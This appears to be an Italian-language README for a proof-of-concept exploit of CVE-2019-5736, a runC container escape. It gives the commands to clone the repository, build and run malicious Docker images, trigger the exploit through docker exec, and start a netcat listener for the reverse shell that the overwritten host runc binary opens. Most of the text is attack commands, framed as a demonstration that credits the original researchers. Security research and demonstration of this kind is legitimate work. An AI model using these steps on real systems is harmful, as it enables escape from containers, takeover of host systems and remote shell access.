
Proof-of-concept exploit per CVE-2019-5736, una vulnerabilità di fuga dal container runC, che dimostrano la rottura del container tramite immagini dannose e comandi exec.
Video: https://bit.ly/2WqvILb
Post del blog: [www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]
Qui, vorrei menzionare che lo sviluppatore originale di questo exploit è Yuval Avrahami presso Twistlock Labs.
Nota che l'esecuzione dei POC sovrascriverà il binario di runC sull'host.
È altamente consigliato creare una copia del binario di runC (normalmente in /usr/sbin/runc) prima di eseguire uno dei POC.
Clona il repository:
$ git clone [email protected]:BBRathnayaka/RunC-CVE-2019-5736.git
Sovrascrive runc con un semplice programma che stampa una stringa.
Esecuzione del POC exec:
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
Sovrascrive runc con un semplice script bash di reverse shell che si connette a localhost:2345.
Ascolta per la reverse shell:
$ nc -nvlp 2345
Da una shell diversa, esegui il POC di immagine maligna:
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
See [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Spiegazione di CVE-2019-5736") per una spiegazione di CVE-2019-5736 e dei POC.
Il POC di immagine maligna è pesantemente basato sul [POC di q3k](https://github.com/q3k/cve-2019-5736-poc), quindi tutto il merito va a lui.